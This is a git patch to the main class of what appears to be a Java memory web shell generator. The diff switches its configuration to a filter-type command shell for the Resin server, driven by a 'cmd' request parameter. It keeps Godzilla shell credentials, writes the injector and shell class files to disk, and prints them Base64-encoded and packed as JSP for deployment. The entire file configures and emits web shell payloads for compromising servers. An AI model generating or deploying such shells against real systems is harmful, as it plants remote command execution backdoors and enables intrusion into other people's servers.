From 37e336e088d9507fa067746d43d21f428e642948 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 14 Dec 2024 19:54:39 +0800 Subject: [PATCH] fix: compile error --- .../java/com/reajason/javaweb/GeneratorMain.java | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 15e05725..736df014 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -20,22 +20,24 @@ public class GeneratorMain { public static void main(String[] args) throws IOException { ShellConfig shellConfig = ShellConfig.builder() - .server(Server.TOMCAT) - .shellTool(ShellTool.Godzilla) - .shellType(Constants.FILTER).build(); + .server(Server.Resin) + .shellTool(ShellTool.Command) + .shellType(Constants.FILTER) + .targetJreVersion(Opcodes.V11) + .build(); GodzillaConfig godzillaConfig = GodzillaConfig.builder() .pass("pass") .key("key") .headerName("User-Agent") - .headerValue("test123") - .build(); + .headerValue("test123").build(); + CommandConfig commandConfig = CommandConfig.builder().paramName("cmd").build(); InjectorConfig injectorConfig = new InjectorConfig(); - GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig); + GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig); if (generateResult != null) { Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); - Packer.INSTANCE.JSP.getPacker().pack(generateResult); + System.out.println(Base64.encodeBase64String(Packer.INSTANCE.JSP.getPacker().pack(generateResult))); } }